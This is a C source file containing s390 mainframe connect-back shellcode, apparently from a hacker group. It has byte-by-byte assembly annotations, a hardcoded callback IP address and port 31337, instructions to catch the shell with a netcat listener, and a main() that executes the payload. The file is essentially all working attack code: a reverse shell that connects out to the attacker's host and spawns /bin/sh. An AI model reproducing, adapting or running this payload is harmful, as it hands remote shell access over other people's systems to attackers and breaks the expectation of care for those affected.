/*----------------------------------------------------------------------*/
/* s390 shellcode 0x0a / 0x0 free                                       */
/* connectback shell, use netcat listener from caller : nc -l -p 31337  */
/* ATTENTION ! altough the code is 0x0a and 0x0 free it may be the case */
/* that u wanna connect an ip like : 10.65.120.22 ( in our example ! )  */
/* our 192.168.0.1 ! in these cases u have 0xa and 0x0 in your address  */
/* and u should conside to add some selfmodifing code where u patch the */
/* ip address values on the fly, like i did with the svc calls          */
/* code jcyberpunk@thehackerschoice.com                                 */
/*----------------------------------------------------------------------*/
char shellcode[] =
"\x0d\x10"                      /* basr    %r1,%r0                      */
"\x41\x90\x10\xa8"              /* la      %r9,168(%r1)                 */
"\xa7\x68\x04\x56"              /* lhi     %r6,1110                     */
"\xa7\xa8\xfb\xb4"              /* lhi     %r10,-1100                   */
"\x1a\x6a"                      /* ar      %r6,%r10                     */
"\x42\x60\x10\xa8"              /* stc     %r6,168(%r1)                 */
"\xa7\x28\x04\x4e"              /* lhi     %r2,1102                     */
"\x1a\x2a"                      /* ar      %r2,%r10                     */
"\x40\x20\xf0\x78"              /* sth     %r2,120(%r15)                */
"\xa7\x38\x7a\x69"              /* lhi     %r3,31337                    */
"\x40\x30\xf0\x7a"              /* sth     %r3,122(%r15)                */
"\x58\x40\x10\xac"              /* l       %r4,172(%r1)                 */
"\x50\x40\xf0\x7c"              /* st      %r4,124(%r15)                */
"\x17\x44"                      /* xr      %r4,%r4                      */
"\xa7\x38\x04\x4d"              /* lhi     %r3,1101                     */
"\x1a\x3a"                      /* ar      %r3,%r10                     */
"\x90\x24\xf0\x80"              /* stm     %r2,%r4,128(%r15)            */
"\xa7\x28\x04\x4d"              /* lhi     %r2,1101                     */
"\x1a\x2a"                      /* ar      %r2,%r10                     */
"\x41\x30\xf0\x80"              /* la      %r3,128(%r15)                */
"\x0d\xe9"                      /* basr    %r14,%r9                     */
"\x18\x72"                      /* lr      %r7,%r2                      */
"\x41\x30\xf0\x78"              /* la      %r3,120(%r15)                */
"\xa7\x88\x04\x5c"              /* lhi     %r8,1116                     */
"\x1a\x8a"                      /* ar      %r8,%r10                     */
"\x18\x48"                      /* lr      %r4,%r8                      */
"\x90\x24\xf0\x80"              /* stm     %r2,%r4,128(%r15)            */
"\xa7\x28\x04\x4f"              /* lhi     %r2,1103                     */
"\x1a\x2a"                      /* ar      %r2,%r10                     */
"\x41\x30\xf0\x80"              /* la      %r3,128(%r15)                */
"\x0d\xe9"                      /* basr    %r14,%r9                     */
"\x18\x27"                      /* lr      %r2,%r7                      */
"\xa7\x68\x04\x8b"              /* lhi     %r6,1163                     */
"\x1a\x6a"                      /* ar      %r6,%r10                     */
"\x42\x60\x10\xa9"              /* stc     %r6,169(%r1)                 */
"\xa7\x38\x04\x4e"              /* lhi     %r3,1102                     */
"\x1a\x3a"                      /* ar      %r3,%r10                     */
"\x0d\xe9"                      /* basr    %r14,%r9                     */
"\xa7\x3a\xff\xff"              /* ahi     %r3,-1                       */
"\x0d\xe9"                      /* basr    %r14,%r9                     */
"\xa7\x3a\xff\xff"              /* ahi     %r3,-1                       */
"\x0d\xe9"                      /* basr    %r14,%r9                     */
"\xa7\x68\x04\x57"              /* lhi     %r6,1111                     */
"\x1a\x6a"                      /* ar      %r6,%r10                     */
"\x42\x60\x10\xa9"              /* stc     %r6,169(%r1)                 */
"\x41\x20\x10\xb0"              /* la      %r2,176(%r1)                 */
"\x50\x20\x10\xb8"              /* st      %r2,184(%r1)                 */
"\x41\x30\x10\xb8"              /* la      %r3,184(%r1)                 */
"\x17\x44"                      /* xr      %r4,%r4                      */
"\x42\x40\x10\xb7"              /* stc     %r4,183(%r1)                 */
"\x50\x40\x10\xbc"              /* st      %r4,188(%r1)                 */
"\x41\x40\x10\xbc"              /* la      %r4,188(%r1)                 */
"\x0d\xe9"                      /* basr    %r14,%r9                     */
"\x0b\x66"                      /* svc 102  <--- after modification     */
"\x07\xfe"                      /* br      %r14                         */
"\x0a\x41\x78\x16"              /* ip-address to connect back           */
"\x2f\x62\x69\x6e"              /* /bin                                 */
"\x2f\x73\x68\x5c";             /* /sh\\                                */

main()
{
 void (*z)()=(void*)shellcode;
 z();
}


